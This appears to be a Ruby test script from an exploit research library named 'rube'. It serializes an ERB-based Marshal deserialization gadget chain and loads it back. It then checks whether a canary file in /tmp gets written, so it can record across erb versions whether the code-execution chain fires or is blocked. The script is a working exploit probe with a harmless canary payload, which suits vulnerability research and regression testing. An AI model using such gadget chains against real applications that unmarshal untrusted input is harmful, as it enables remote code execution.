# ©AngelaMos | 2026 # exploit_probe.rb require "rube" CANARY_PATH = "/tmp/rube-canary" CANARY_MARKER = "fired" RESULT_FIRED = "FIRED" RESULT_BLOCKED = "BLOCKED" RESULT_INERT = "INERT" erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s chain = Rube::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER) blob = chain.serialize inspection = Rube::Marshal::Parser.new(blob).parse File.delete(CANARY_PATH) if File.exist?(CANARY_PATH) revived = Marshal.load(blob) detail = begin revived.def_method(Module.new, "rube_probe") "def_method returned" rescue StandardError => e "#{e.class}: #{e.message}" end fired = File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER outcome = if fired RESULT_FIRED elsif detail.start_with?("ArgumentError") RESULT_BLOCKED else RESULT_INERT end predicted = Rube::Chains::ErbDefMethod.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED puts format("%-9s erb=%-9s outcome=%-8s predicted=%-8s classes=%-6s %s", ENV.fetch("MATRIX_IMAGE", "?"), erb_version, outcome, predicted, inspection.class_names.join(","), detail) exit(outcome == predicted ? 0 : 1)